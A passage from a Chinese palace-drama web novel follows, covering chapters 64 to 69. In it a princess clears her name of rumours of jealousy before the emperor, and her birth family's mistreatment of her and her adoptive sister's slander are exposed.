姜黎婳不动声色的抬眸看了淑妃一眼,然后抬头对着皇后道,“母后,儿臣也不知为何会传出那样的谣言,但那些谣言没有一句是真的,还请母后相信儿臣。”
“身为皇子妃,名声不能有损,你是大皇子府的当家主母,你的名声有损就会影响大皇子,无论做什么事情都要谨言慎行。”皇后目光沉沉的看着姜黎婳,“身为皇家媳妇,最忌善妒。”
第64章 有你们后悔的
苏府。
吕氏听到刘嬷嬷的话,感觉心头堵堵的,她摸了摸胸口想要抓住那股令她胸口闷堵的感觉,却根本抓不住,她烦躁了揉了揉眉心,沉声问,“是府上哪个奴婢多嘴在外面说的?”
刘嬷嬷摇头,“不是咱们府上的人说的。”
吕氏得知不是府上的人乱嚼舌根说出去的,也就没有心思再管了,便摆手道,“想必是她做事太过,别人看不过去了才会说的,既然不是咱们府上的人传出去的,就不管了。”
“咱们不帮大皇子妃澄清一下?”刘嬷嬷低声对着吕氏道:“如今大皇子妃身为陛下的儿媳,名声很重要的。”
吕氏想了想,蹙眉道,“但传言没错啊,她就是从她外祖母那里拿走了砚台,不愿意给她哥哥。”
刘嬷嬷闻言心头一沉,她知道夫人不喜欢二小姐,她之前也觉得二小姐过分,但这事关二小姐名声的事情,夫人竟然也不在意吗?
吕氏说完那话就后悔了,但想到姜黎婳曾对自己说过的那些狠话,她又道:“她自己都说了不愿意从我肚子里面爬出来,那我上赶着替她澄清做什么?显得我多在乎她似的。”
她看了刘嬷嬷一眼,“反正也不是我们府上的人说的,你也告诫府上的人,不许乱传。”
刘嬷嬷应了一声,转身离开院落。
看着刘嬷嬷离开的背影,吕氏心头忽然升起一抹不安,且那么不安随着时间流逝,越来越强烈,好像有什么东西从她的指缝中溜走,她想抓,但是怎么都抓不住。
国子监。
赵旭庭听到同窗对着大皇子妃的事情人云亦云,他气得团团转,转身就去找苏承印,“你就听着他们这样污蔑你的妹妹?不站出来解释一下?”
正在认真读书的苏承印抬眸看了一眼激动不已的赵旭庭,他眉头微蹙,沉声道:“她从未把我当兄长尊敬,我为何要帮她解释?她那么能耐,那就自己向世人澄清。”
那日赵旭庭听了姜黎婳口中的苏承印是什么样的人,他还觉得有些不信,毕竟苏承印在他眼中是一个正人君子,这样的人怎么会对自己的亲妹妹恶言相向呢?
但是今日看到他对姜黎婳的事情这么冷漠之后,他信了姜黎婳的话。
赵旭庭深深地看了苏承印一眼,沉声问,“苏兄,你有拿大皇子妃当亲妹妹吗?”
苏承印眉头微蹙,想到姜黎婳自从嫁给了大皇子后就一改之前骂不还口与他们针锋相对的模样,他沉声道:“我的妹妹只有从小养在身边的清欢。”
“呵呵。”赵旭庭冷笑了一声,“好,那今日我就与苏兄割袍断义,我不与眼盲心瞎之人交好。”
苏承印脸色骤然沉了下去,他冷冷的看着赵旭庭,“你为了一个人妇要与我断交?”
“有何不可!”赵旭庭看着苏承印,“我认为大皇子妃绝对不是他们口中那样的人,而你明知道她不是那样的人,身为她的哥哥,却不愿意站出来为她澄清,简直有辱君子之名!”
苏承印猛地站起来,厉声道:“他们说的不是假的!她就是不愿意把砚台拿出来给我!”
赵旭庭想到之前姜黎婳说那方砚台那苏家父子是拿来做什么的,他就忍不住嘲讽道:“那砚台你即便拿到了,也达不成目的,就你这样的人,上官先生能看得上?”
赵旭庭说完直接拂袖转身疾步往外走去,他走出门外忽然停下脚步,他回头看着苏承印,扬声道:“看在我们曾好友一场的份上,我给你一句忠告,别做让自己后悔的事!”
“我不会后悔!”苏承印目赤欲裂。
现在该后悔的是姜黎婳!她的名声毁了!那处处维护着她的大皇子还会像之前那样维护她吗?
他等着姜黎婳上门求他!求他帮她澄清!求他站出来帮她说话!
与此同时青城书院中。
苏继业被人围着问大皇子妃的事情是不是真的,苏继业一直皱着眉头不说话,后来又有人围上来的时候,他沉声道:“这是我们苏家和大皇子妃的事情,你们凑什么热闹!”
他说着垂眸继续看书。
心头埋怨传流言的人把苏家推上风口浪尖,又埋怨姜黎婳做事不知分寸,非要私藏砚台不愿意拿出来,现在被人拿来当闲话说!
朝堂上。
冯胜文总算抓住了大皇子府的小辫子,此时正在皇帝面前激昂发声,“大皇子妃在家中能因为嫉妒兄长对亲生姐姐好,就能阻挡兄长前途,那将来就极可能
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因为善妒,残害大皇子的子嗣!还请陛下为了皇室后代,让大皇子休妻!”
皇帝目光凉凉的看了冯胜文一眼,缓缓道:“不过是一些流言,还不曾有半点真凭实据,冯丞相就这般着急的给大皇子妃定下善妒的罪名,怕是不妥。”
冯胜文闻言眉头一皱,他伸手指着苏建明,沉声道:“苏大人就在这里,让苏大人说一下外面的流言是否为真便可以真相大白!难道陛下还怕苏大人会害自己的亲女儿吗?”
皇帝眼睛微微一眯,看向不停擦汗的苏建明,他沉声道:“苏侍郎,那你就说说,外面那些传言是否属实?”
苏建明现在满脑子都是自己因为姜黎婳从胡氏那里拿走了砚台,害得自己花了几万两银子买了一方假砚台。
所以在当皇帝问自己话的时候,他也没想其他的,只道:“臣的确想让犬子受上官先生指导,也的确让夫人上门去求岳母把砚台送给犬子当礼物给上官先生,但如今岳父留下来的那遗物端砚,也的确在大皇子妃手中。”
沈遇知听着他这棱模两可的话,眉头微蹙,他站出来问苏建明,“既然苏大人你说那砚台在大皇子妃手中,那那日你带来的苏家侄儿的手中那端砚又是哪儿来的?”
冯胜文回头看了一眼多管闲事的沈遇知,眉头一皱。
这人平日杵在旁边就跟一个雕像一样,除了皇帝疾言厉色之时会站出来说两句,平日都不说话的,今天怎么发疯站出来了?
苏建明也没想到一向在朝堂上不怎么说话的沈太傅今日竟然站出来说话了,还问了那天自己带着苏子恒给他送的砚台。
他擦了擦汗道:“那砚台是小侄的父亲带他买的。”
皇帝看向沈遇知,眼皮动了动,温声问,“太傅这话是什么意思?”
沈遇知把自己休沐在茶楼喝茶看戏,苏建明拿着简直六万两银子的端砚带着侄儿上门拜师的事情给说了。
皇帝听到这里脸色便黑了下来。
朝堂上所有人的脸色都很精彩。
这沈遇知虽然只比陛下大几岁,但确实帝师的事情,这谁不清楚?
这苏建明是疯了吗?竟然想要自己的侄儿拜太傅为师?到底是谁给他的自信?
第65章 陛下您别听姜黎婳的片面之词啊
苏建明听沈遇知是一字不漏的把自己带苏子恒去找他的事情都给说了,他整个人如坠冰窖,生怕皇帝一个不悦又降自己的官职,他连忙从自己的位子上站出来跪在地上道:“陛下明鉴,臣那侄儿只是仰慕太傅大人的文采,所以才有了...”
“够了。”皇帝摆手,“朕记得你苏家以前是贫农,也是二十年前你娶了永宁伯的女儿之后日子才好起来的。”
皇帝看着跪在地上的苏建明,深邃的眼眸中闪烁着意味不明的光,“既然你那侄儿都可以拿出六万两买砚台拜师送礼,你堂堂侍郎却要夫人去讨要岳丈的遗物当礼物当儿子的拜师礼?”
苏建明心头一沉,连忙道:“求陛下明鉴,那砚台....”
苏建明现在心头很慌,生怕自己一个不注意,就被戳破了秘密,他此时也顾不得是否会得罪沈遇知了,连忙把苏子恒手中的砚台是假的的事情给说了出去。
冯胜文冰冷的看着跪在地上乱了心神的苏建明,在心头骂了一句蠢货之后,他沉声道:“陛下,咱们不是在说大皇子妃善妒一事吗?”
沈遇知看了冯胜文一眼,又道:“陛下,事关大皇子妃的名声,臣认为我们不应该给大皇子妃随意定罪,谁也不知道外面的流言有几分真几分假,咱们不如把大皇子妃和永宁伯老夫人都请到大殿上来,当事人都在,那真相很快就大白了。”
“朝堂之上岂是拿来议论妇人名声之事的!”冯胜文厉声道。
一直站在一旁的鲁御史立刻沉声道:“不是冯丞相一直在揪着妇人名声讨论吗?”
皇帝看了鲁御史一眼,如今鲁御史的女儿与二皇子的亲事算是彻底定下来了,鲁御史和冯丞相怎么说也算是沾亲带故了,可这鲁御史依旧不给冯丞相留半分颜面。
皇后倒是会选。
皇帝因为鲁御史这句话,心情好了不少,他拍了拍自己的膝盖,温声道:“既然无事就退朝吧,鲁御史、冯丞相、沈太傅、叶恪、苏建明,你们随朕到御书房,就今日流言之事,当面与大皇子妃问个清楚。”
苏建明跟在几个官员身后,他吞了吞唾沫,心想事情怎么就变成这样了?明明是姜黎婳善妒,那皇帝和皇后把姜黎婳找来跟前训诫一下,给她敲一下警钟,然后让他孝顺父母,注意皇室名声不就好了吗?为什么变成这样了?
沈遇知和礼部尚书叶恪还有鲁御史三人走在前面,冯丞相故意落后了两步等着苏建明,苏建明一直垂着头在走路,见冯丞相站在自己面前,他下意识的停下脚步,“丞相大人。”
“苏侍郎,你可知道欺君的罪名?”冯丞相冷哼了一声,“一会儿再御书房,什么该说什么不该说,你最好掂量清楚了。”
苏建明擦了擦汗水,他讪讪的应了声是,但却知道自己不能乱说,毕竟此事事关皇室名声,他先前说的那些都不假,砚台是在姜黎婳手中,但她怎么从胡氏手中拿走的,他可没说。
姜黎婳本就在宫中,听皇上传召,很快就出现在了御书房中,皇帝静静地看着跪在地上不卑不亢的姜黎婳,面上的神情也柔和了许多,想到儿子因她的缘故身子一日比一日好,看着姜黎婳的眼中带了一丝慈祥之色,他温声对姜黎婳道,“起来吧。”
姜黎婳跪着谢恩,然后站起来,挺直腰背,一点都不怯场。
皇帝很满意她的表现,问她,“今日京城之中,关于你的流言传的沸沸扬扬,你可有什么要说的。”
姜黎婳侧首看了苏建明一眼,扬声道:“儿臣有话要说。”
皇帝点头,“你说。”
姜黎婳抿了抿嘴,看了苏建明一眼,沉声道:“回禀父皇,若要说起这件事情的话,还得从儿臣回京之前说起。”
苏建明心头忽然闪过一丝不祥的预感,他眼神带着警告的看了姜黎婳一眼,沉声道:“让你说拿了你外祖母砚台的事情,你说之前的事情做什么?”
“有什么不能说的吗?”皇帝凉凉的看了苏建明一眼,沉声道:“朕还有一堆政务要处理,都不嫌耽误时间,苏侍郎的时间比朕的还宝贵?”
苏建明只得讪讪道:“臣不敢。”
“儿臣多谢父皇。”姜黎婳福了福身子,这次她没看苏建明,她抬眸看着皇帝,低声道:“此事要从半年多以前说起,儿臣那时候还在江南家中,忽然有几个人找上
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门说我是京城工部尚书苏家的女儿,要求我回京认祖归宗,我一开始并不愿意,但那些人威胁我说,苏大人乃京城二品京官,想捏死一个商贾易如反掌,若我不想连累家人的话,还是听话点好。”
皇帝其实在皇后回京之后没几日就已经知道了大儿媳的身世,他并没有觉得大儿媳配不上自己的儿子,在他这里,只要能延续他儿子的性命,就算她是贫民出生,他也不在乎。
更何况他儿媳妇的养父可不是一般的商贾啊...
姜黎婳说话的时候一直在观察皇帝的神色,瞧皇帝听了自己的身世之后平静的抬了抬眉头并没有说话,姜黎婳又继续道:“回到苏家,他们告诫我不能和苏清欢抢,我只能是远房亲戚家的孩子,苏清欢才是苏家的大小姐,直到冲喜的圣意下达,苏清欢执意要嫁给萧世子,儿臣才有了苏家双生女这个身份。”
皇帝眼睛一眯,阴沉的看向跪在地上不敢说话的苏建明,他随手操起手边的玉镇纸朝着苏建明砸了过去,“苏建明!若不是苏清欢不愿意嫁给朕的皇儿,你是不是就要用一个假货来偷梁换柱,谋害朕的儿子了?”
苏建明额头上被砸了一下,鲜血瞬间从额头上流了下来,他连连摇头,“臣不敢,臣没有,陛下不要听大皇子妃一面之词啊!”
“是不是一面之词,本宫可以和所有人对峙。”姜黎婳侧首看了苏建明一眼,看到他头上的鲜血,姜黎婳没有半分动容,回头对着皇帝继续道:“至于砚台一事,要从儿臣与殿下在行宫,吕夫人装病把儿臣诓骗回来,那日说起了。”
姜黎婳把吕氏如何装病把自己骗回去,要她去永宁伯老夫人那里把砚台骗来给她,被自己拒绝质问后又如何被打,然后苏承印又如何诅咒楚御礼死,要她以后回去求他们的事情,只字不漏全说了。
皇帝听到这里猛拍桌案,“诅咒朕的皇儿!苏建明,你家人真是好大胆子!”
“求皇上息怒啊!您别听大皇子妃片面之词啊!”苏建明跪在地上使劲磕头,虽然知道皇帝不会因为诅咒大皇子一事就要了他们家所有人的命,但他的乌纱帽很可能就不保了啊!
第66章 允许儿臣与苏氏一族断亲
沈遇知静静地看着站在大殿中央的姜黎婳,他想起师父说在江南给他收了个小师妹的事情。
据说这小师妹年龄挺小的,也是江南富商的女儿,听说这小师妹也不是富商亲生的,亲生父母在京城,前段时间她回京认亲,师父说他之所以回京,也是因为小师妹来了京城。
这么巧?
沈遇知眉梢微动,看向跪在地上一个劲儿喊冤的苏建明,“那你倒是说说她怎么冤枉你了?你家当年生的究竟是双生女,还是一个女儿,把当年的稳婆找来一问便知,至于其他的事情,一会儿永宁伯老夫人来了,便也能真相大白。”
苏建明从未想过会有人追问双生女的事情是真是假,当初为了避免苏清欢是外室女的事情暴露,在她假千金的身份闹出来之后,他就直接让人弄**知道真相的奶娘,把所有的错事都推到了那个奶娘身上。
也没有找过那个稳婆的踪迹。
此时听沈遇知这么说,苏建明明显愣了一下,他连忙道:“陛下,这件事情上臣虽然对不起大皇子妃,但却从未亏待过大皇子妃啊!”
“没有亏待这事儿,还要换亲开始说。”姜黎婳接过苏建明的话,她淡漠地看了苏建明一眼,一字一句缓缓说道:“父皇,儿臣的嫁妆,只有两副金头面是苏家人给的嫁妆,其余的全是儿臣的外祖母永宁伯老夫人给儿臣添置的!可苏清欢的所有嫁妆都是苏家人准备的!若这都不算是亏待的话,那就是他们根本不把儿臣当女儿,儿臣请父皇下旨,允许儿臣与苏家断亲!”
“断亲!你这是不孝!”苏建明被姜黎婳断亲两个字给激怒,也顾不得姜黎婳现在是什么身份了,他恶狠狠地盯着姜黎婳,“身体发肤受之父母,你只要还活着就是我苏建明的女儿,就应该孝顺我们!想与我们苏家断亲,绝无可能!”
其他几个人听到姜黎婳这话都沉默了,就连冯胜文都嫌弃的看了苏建明一眼,心头直接把苏建明从自己的可拉拢名单中划掉了,这种连亲疏都分不清的蠢货,实在不配为自己办事。
沈遇知也是被苏家的所作所为给气笑了,他指着苏建明,冷笑,“你们苏家也真是让**开眼界!”
“其实这些儿臣都是可以忍受的。”姜黎婳出声打算了他们的正直,她闭了闭眼,再次睁开的时候,眼眶骤然变得通红,眼泪也在眼眶中打转,她缓缓地在地上跪了下去,“若不是出现今日这事,我会因为这是他们的意愿,把那些事情烂在肚子里,可是苏家所有人都见不得儿臣好。”
“砚台是外祖父的遗物,因为他们再三上门撒泼讨要,外祖母知道自己守不住那砚台所以才给我下帖,请我去永宁伯府,把砚台交给我,让我代为保管。”姜黎婳抬手拭泪,她哭得梨花带雨,“父皇,若儿臣为了外祖母的意愿,违背了他们要把砚台拿去送人的心意就是善妒,就是要毁了苏承印的前程,那他们为了与人结交就筹谋算计外祖母,想要骗取外祖父那御赐的砚台,是不是不忠不孝?”
先前还被苏家人气到的沈遇知忽然来了精神,他双眼发光的看向跪在地上的姜黎婳,如果这大皇子妃不是他师妹的话,他就收她当徒弟!
这种别人我让吃亏两分,我还别人八分的人,太对他的胃口了!
姜黎婳不知道沈遇知在想什么,只静静地跪在地上仰头看着皇帝,等着他的回答。
今日,她必定要与苏家做一个了断!
坐在龙椅上的皇帝亦然在看着姜黎婳,心头不知道在想什么。
苏建明却感觉到不对劲,他激动的指着姜黎婳,“你不要颠倒黑白!你说到底还是嫉妒我们对清欢好,所以才会说出这些的!”
“你们就是因为害怕我嫉妒苏清欢,所以才故意编造出那些事情,闹得人尽皆知,毁我名声吗?”姜黎婳回头看向苏建明,叹了口气,“苏大人,您别忘了,我才是您的亲生女儿。”
皇帝眼睛一眯,他盯着姜黎婳,沉声道:“你说今日之事是苏家传出来的?”
姜黎婳闻言哀伤的回头应是,“砚台之事,除了苏家和与我和外祖母,无人知晓,外祖母是绝对不会往外说的,儿臣实在是想不到除了苏家人以外,还有谁会这般恨儿臣,要用善妒这种事情来重伤儿臣。”
姜黎婳说到这里,又抬手拭泪,“父皇,苏家如何对待儿臣的您也看见了,儿臣求您下旨,允许儿臣与苏氏断亲,从此以后儿臣与苏氏再无瓜葛,也可避免今日之事再出,毁了大皇子的名声啊。”
“你当真要与苏氏断亲?”皇帝蹙眉盯着姜黎婳,不
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知道在想什么。
一直没说话的冯丞相这时候道,“他们虽然对你不好,但毕竟是你的亲生父母,大皇子妃若执意断亲,怕是还要背上不孝的骂名。”
姜黎婳叹气,她就知道要和苏家断亲是没那么简单的,况且这中间还有冯丞相这么个搅屎棍在。
“可明明是他们不要我在先的。”姜黎婳轻声道:“毕竟从我回来到如今,我都没有入苏家族谱。”
礼部尚书叶恪闻言终于看了姜黎婳一眼,他淡淡道:“既然大皇子妃未曾入苏家族谱,苏家也无法证明大皇子妃是苏家的女儿,还请皇上明查,查清大皇子妃身世,以免招来祸端。”
沈遇知闻言看了叶恪一眼,沉声道:“就大皇子妃这张脸和吕夫人站在一起,谁敢说她们不是母女!”
苏建明连忙道:“陛下明鉴啊,今日之事,绝对不是我们苏家传出来的啊!”
“不是你们苏府的人,不代表不是苏清欢啊。”姜黎婳轻声道:“苏大人你们也不是不知道平日里那个好姐姐对我的恶意有多大。”
皇帝今日本就是想还姜黎婳一个清白,但却没想到知道了苏家这么多腌臜事儿,他皱起眉头冷声道:“福清,传朕旨意,彻查今日流言一事,若查出是苏清欢恶意中伤大皇子妃,严惩不贷。”
皇帝身边的总管太监福清闻言立刻应了一声连忙退了下去。
等他离开之后,皇帝才道:“苏建明,朕给你两个选择,若今日之事真是苏清欢所为,你还想与大皇子妃保持亲缘关系,那就对外说清两人的**,还大皇子妃一个清白,若是你想保住苏清欢的身份,那就与大皇子妃断亲,自己写下断亲书,写下断亲书后,苏家双生女的真相,只限殿内的人所知,朕可以保证,绝对没人敢传出去一句,你自己想好。”
这时候殿外小太监走进来,低声道:“陛下,永宁伯老夫人到了。”
皇帝看了苏建明一息,“传。”
胡氏把婢女留在了外面,她自己从殿外走进来,对着高位上的皇帝行礼之后,才看向跪在地上的姜黎婳,看到后背挺直跪在地上的姜黎婳,胡氏红着眼走过去怜惜的摸了摸姜黎婳的头,“都是外祖母的错,让你帮忙守住你外祖父的遗物,反倒成了他们重伤你的把柄了。”
第67章 我是不是警告过你不要招惹她
有了胡氏这句话,殿中的人谁还不明白,方才姜黎婳所言句句属实,而今日外面的谣言,大概就是苏清欢看不惯姜黎婳被皇室和她外祖母如此重视,才编织出来的谣言罢了。
皇帝听了胡氏这句话,面上神色不变,只是眼中眸色深邃了几分,他看着胡氏,温声问,“胡老夫人,你这话是什么意思?”
胡氏叹气在地上跪下,“因为家事还闹到陛下这里来了,实在是臣妇的不是,还请陛下恕罪。”
皇帝摆了摆手,“老夫人起来说话。”
胡氏年纪大了,的确不适合久跪,听了皇帝这话倒是没有矫情,她站起来,“这都怪臣妇没有教好女儿,嫁出去二十年了,却还惦记着父亲的遗物。”
胡氏把吕氏上门讨要已故丈夫那方砚台的事情说了,她看了一眼还跪在地上的姜黎婳面露愧疚,“那是先帝的御赐之物,我们家供着都来不及,怎能拿给他们去当人情送礼,便求了大皇子妃,让她帮我这老婆子保管那贵重的砚台,没成想,倒是给她招来了祸事。”
苏建明听着胡氏那些与姜黎婳所说相呼应的话,额头的汗水不断往下落,他抬手擦汗,这动作落在皇帝眼里,就是心虚。
皇帝没有动怒,只是把手放在膝盖上拍了拍,片刻之后他抬眸看向苏建明,问,“苏建明,你还有什么要说的?”
苏建明赶紧磕头,“陛下,都是臣的错,臣不该为了儿子的前途就...”
“别拿儿子当借口。”皇帝打断苏建明的话,沉声道:“上官先生连一座城都瞧不上,能瞧得上你那砚台?”
当年他父皇可是许了上官清泉一座城池,让上官清泉当太师,但上官清泉不愿意。
沈遇知闻言更是眼睛一眯,他哼声轻嗤,“苏大人那砚台究竟是不是为苏家少爷讨要的,都不一定。”
这都能猜到?不愧是师兄!
姜黎婳悄咪咪的看了沈遇知一眼,谁知抬眸看去正好撞上了,沈遇知促狭的冲姜黎婳抬了抬眼皮,姜黎婳赶紧垂眸,眼观鼻鼻观心,她怎么感觉师兄看她的眼神有些不对啊?
“沈太傅这话就...”
“陛下!大皇子过来了。”刚刚出去的福清疾步走进来,打断了冯胜文的话。
皇帝抬手,“宣。”
身着深蓝色**纹朝服的楚御礼从外面走了进来,看到还跪在地上的姜黎婳,他眉头下意识的皱了皱,接着快步走到她身边跪下给皇帝行礼,“儿臣见过父皇。”
皇帝温和的看着他,瞧他脸色越发好了,他语气也越发柔和,“起来吧。”
楚御礼起身,顺手把身边的姜黎婳也拉了起来。
姜黎婳侧首看了一眼拉着自己手臂的楚御礼,楚御礼对她轻轻一笑,“父皇叫我们起身。”
皇帝:“......”
就他儿子这种把媳妇当眼珠子的人,别说儿媳妇出自商贾之家了,就是乞丐出生,为了让儿子顺心,他也得护着啊。
想到这里,皇帝握拳咳嗽了一声,问楚御礼,“你怎么过来了?难道还怕你媳妇儿被欺负了不成?”
楚御礼捏了捏姜黎婳的手,才缓缓对上皇帝的目光,他叹气道:“儿臣的媳妇都被人欺负成这样了,儿臣怎能不怕?”
皇帝想到儿子上次砸了苏家的原因,好像是因为他媳妇儿被吕夫人打了一巴掌...今天又是媳妇被造谣善妒...
这的确是欺负人了。
皇帝的脸色冷了几分,看苏建明的神色也越发冷漠了,这时候跟着楚御礼进来的福清把手中的信纸递给皇帝,压低声音在皇帝耳边道:“陛下,这是大皇子让人查到的证据,现在物证在这儿,人证在慎刑司。”
皇帝展开看了一眼福清递过来的信纸,把信纸让桌上一拍,厉声呵斥苏建明,“诋毁皇室,苏建明,你养的好女儿啊。”
皇帝语毕也不给苏建明说话的机会,直接道:“传苏清欢和定国公府的人进宫觐见!”
姜黎婳见状站出来给皇帝行礼道:“陛下,还有一件事情,应该也要吕夫人到场才是。”
苏建明闻言整个人像是被抽走了力气,他无力的跪坐在地上,张了张嘴却半晌没有说出一个字来。
他知道姜黎婳说的是什么事情。
......
苏清欢还沉浸在姜黎婳的名声毁了,很快就被皇室厌弃的喜悦之中就被国公夫人曹氏身边的嬷嬷喊到了前厅。
她还没来得及说话,曹氏就狠狠地剜了她一眼,厉声道:“苏氏!我是不是告诫过你,不要给国公府惹事!”
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苏清欢不解,正要说话,就见被小厮喊回家的萧景宴大步朝自己走来,她还没来得及与萧景宴说话,头发就被萧景宴一把抓住,萧景宴抓着苏清欢的头发逼迫她仰头看着自己,他则阴沉的盯着被迫抬头的苏清欢,语气森冷,“苏清欢,我是不是警告过你,让你与大皇子妃搞好关系?”
“世子,您这是什么意思啊?”苏清欢的头发被萧景宴死死的揪着,她的头皮生疼,只能抬手护着自己的头发,一边惊恐又不解的看着萧景宴,“妾身听不懂您的意思!”
“不懂?”萧景宴一把丢开苏清欢,“不懂皇帝会传我们一家都进皇宫!”
苏清欢想到自己让雪儿去办的事情,心头一沉,但是想到皇家也不可能这么快查到自己这边来,她又安抚自己不会出事,便低声道:“皇上传我们入宫做什么?”
“装吧,你就装吧!”曹氏站起来,“当初以为你是个乖巧的,所以才去与苏家议亲的,如今看来,选儿媳就不能选你们这种毫无背景的小户人家,只会给我们惹麻烦。”
曹氏头疼的揉了揉眉心,然后起身,走到萧景宴面前,看着一脸阴鸷的儿子,她抬手轻轻拍了拍萧景宴的手,“冷静点,你父亲已经入宫了,咱们也去皇宫吧。”
萧景宴垂眸看了母亲一眼,他深深吸了口气,抚平自己心头的戾气,这才看向苏清欢,“你以为你让人散播大皇子妃善妒的事情遮掩的很好?”
苏清欢心头一震,她猛地抬头看向萧景宴,他怎么知道的?
萧景宴睨着她的模样,哼了一声,“现在知道怕了?”
“世子。”苏清欢往前走了一步,满是悔恨的说道:“都是妾身一时鬼迷心窍嫉妒妹妹被外祖母那么看重,才会做出那种事情的,求您帮帮妾身。”
“诋毁皇室说是重罪也不是重罪,到时候你自己求大皇子妃吧。”萧景宴抬手用拇指在苏清欢脸颊上搓了搓,淡淡道:“如今这件事情皇帝已经过问了,找我们府上来,就说明此事的人证物证都已经找到了,你到了皇宫不必要狡辩,只要认错就是,别再给国公府招惹不必要的麻烦,明白了吗?”
苏清欢心神不宁的点了点头,“妾身知道了,妾身会求妹妹原谅妾身的。”
第68章 娘,你劝劝妹妹
吕氏听到宫中的太监说的话之后整个人怔愣了片刻,之后又后知后觉的摇头,这不可能,清欢那么懂事,怎么会随便在外乱说呢?
刘嬷嬷也觉得苏清欢不像是会做出那种事情来的人。
听到太监说要自己也入宫面圣,吕氏下意识的觉得是姜黎婳把事情闹大了,她皱着眉头道:“这种小事大皇子妃还闹到陛下面前了?真是不懂事。”
太监听吕氏这么说,诧异的看了吕氏一眼,“夫人,不是奴才多嘴,这还真不是大皇子妃闹到陛下面前的,这事儿今日在京城传开了,文武百官都知道了,前朝甚至要追究大皇子妃善妒的事情,要求大皇子休妻,陛下这才让人彻查的。”
吕氏讪讪的笑了笑,“是吗?”
太监不再多言,只道,“吕夫人快些吧,陛下还在宫中等着的呢。”
小半个时辰后。
因为人证物证都在,苏清欢诋毁皇室的事情板上钉钉。
皇帝训斥了一顿跪在殿中的萧景宴,大抵就是说他娶妻之后没有规诫好妻子言行,然后说国公夫人曹氏身为国公府的当家主母竟然连儿媳的言行都克制不住,又骂了定国公治家不严。
最后罚了定国公半年的俸禄,才没有再骂人。
萧家一家子跪在地上连连认错,苏清欢更是跪在地上使劲磕头,说自己一时鬼迷了心窍才会因为嫉妒做出那种事情。
皇帝看了一眼跪在地上哭得梨花带雨的苏清欢,嫌弃的移开目光,接着看向自己那进了御书房后说话一直有理有据的儿媳妇,“大皇子妃,此事你是受害者,你想要怎么处置这萧世子的夫人?”
苏清欢闻言连忙对着姜黎婳磕头,泣声道:“妹妹,都是我的错,你就原谅姐姐这一次吧!以后姐姐再也不敢了。”
姜黎婳蹙眉看着跪在地上向自己求饶的苏清欢,沉声道:“既然这是由世子夫人引起的,那就由世子夫人澄清吧。”
她说到这里转身看向皇帝,跪在地上,铿锵有力的说道:“父皇,儿臣要世子夫人在朱雀大街上就今日流言之事给儿臣道歉,并说明她传出这些流言的真实原因。”
皇帝眉头一挑,看姜黎婳的神色多了一丝赞赏之意。
沈遇知嘴角也勾起一丝兴色,这招狠,让这苏清欢说明原因,岂不是就让苏清欢自己承认自己善妒?
楚御礼看姜黎婳的目光越发宠溺了,他早该知道,她不是那种会吃亏的人。
在殿中所有人的目光都落在姜黎婳身上,但是意味各不相同。
苏清欢自然也联想到了自己在朱雀大街上道歉认错之后的后果,她使劲摇头,求助的看向苏建明,“爹爹,您帮我给妹妹求求情啊!女儿若在朱雀大街上认错的话,那女儿的名声就毁了!”
苏建明现在根本不敢说话,所以只能不看苏清欢。
“呵呵。”姜黎婳轻笑出声,她看着向苏建明求救的苏清欢,语气嘲讽,“既然你都知道善妒会毁了一个人的名声,那你为何要传出那种流言,毁了我的名声啊?”
“我...”苏清欢还想辩解。
“够了。”皇帝冷漠的打断苏清欢的话,不容置喙的说道,“就按大皇子妃说的做。”
“陛下,求您饶了臣妇这一次吧,臣妇真的知道错了!”苏清欢跪在地上使劲求饶。
吕氏这时候由太监领着进来,苏清欢看到吕氏进来,像是抓到了救命稻草一样朝着吕氏爬过去,“母亲,您快劝劝妹妹,让她饶了女儿这一次啊!”
“本宫一没让人杖则你,二没掌掴你,只是让你在朱雀大街上给本宫道歉,都是为难你了吗?”姜黎婳淡淡的看着跪在地上求吕氏的苏清欢。
苏清欢根本不管姜黎婳,她抬头可怜兮兮的望着吕氏,“母亲,若女儿在朱雀大街上给大皇子妃道歉的话,那女儿的名声就毁了啊,您帮帮女儿。”
瞧着苏清欢的满脸泪痕,吕氏心头一软下意识的要呵斥姜黎婳,却在抬头看过去的时候,对上了姜黎婳清冷的眼神。
吕氏心头一震,到嘴边的话忽然说不出口了。
苏清欢还要求吕氏,一直站在一旁冷眼看着的胡氏看不下去了,她冷声道:“你在散播谣言的时候就应该想到是这个后果!只是让你道歉已经是轻的了!”
苏清欢闻言心头把胡氏骂了一顿,手却死死的抓着吕氏的衣角。
吕氏感受到苏清欢的无助
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,叹气看向胡氏,缓缓道:“娘,她们姐妹的事情,关上门解决就是了,何必闹得...”
“事关皇室名声,可不是家事,如何关上门解决?”沈遇知直接打断了吕氏的话,他冷冷的看着把心都长偏了的吕氏身上,冷声道:“吕夫人未免也太看得起自己了。”
吕氏见说话的是沈遇知,她抿了抿嘴收回目光,再看向姜黎婳,“清欢已经知道错了,你就不能有点度量?”
姜黎婳轻嗤一声,“这件事情刚刚父皇已经下了口谕,她必须在朱雀大街给我道歉,吕夫人这难道是要逼着我让父皇改了他的金口玉言吗?”
吕氏一震,诧异的看向搬出皇帝的姜黎婳,她没想到,姜黎婳对她竟然真的这么不留情面。
皇帝也淡淡道,“此事已经定了,谁求情都没用,诋毁皇室只是让她道个歉,这个处罚已经很轻了。”
吕氏连忙跪地应是,萧氏一族也赶紧跪地谢恩,
姜黎婳瞧着跪在地上的吕氏和萧氏一族的人,在心头轻哼了一声,她回眸看向皇帝,“父皇,现在流言真相已经大白了,也是时候说一下儿臣与苏清欢的身世了。”
跪在地上的萧家人闻言纷纷抬头看向姜黎婳,曹氏更是眼中闪着疑惑的光芒,他们之间的身世?
大皇子妃这是什么意思?
“什么身世?”吕氏几乎下意识的起身把苏清欢护在自己身后。
“这件事是苏家与大皇子妃的家务事,除了苏家人和胡老夫人之外的其他人都出去吧。”皇帝看着吕氏的动作,眼皮抬了抬淡淡道,“朕答应过苏大人,此事不外传。”
萧家人原本还想留下,但看到皇帝冰冷的眼神,只能退下。
退了出去,与冯胜文关系还算过得去的定国公萧剑仁上前与冯胜文并肩而行,“冯相,你在御书房时间长,可知御书房中发生了何事?”
他只知道朝堂上的事情,后来这些人跟着来了御书房之后发生了什么事情,他是真不知道,而现在这里面好像还牵扯了他儿媳妇的身世?
冯胜文想到皇帝之前在殿中说的话,嘴角勾了勾,“国公爷想知道到时候问问你自己的儿媳妇不就成了。”
第69章 是她逼我做选择的
御书房中。
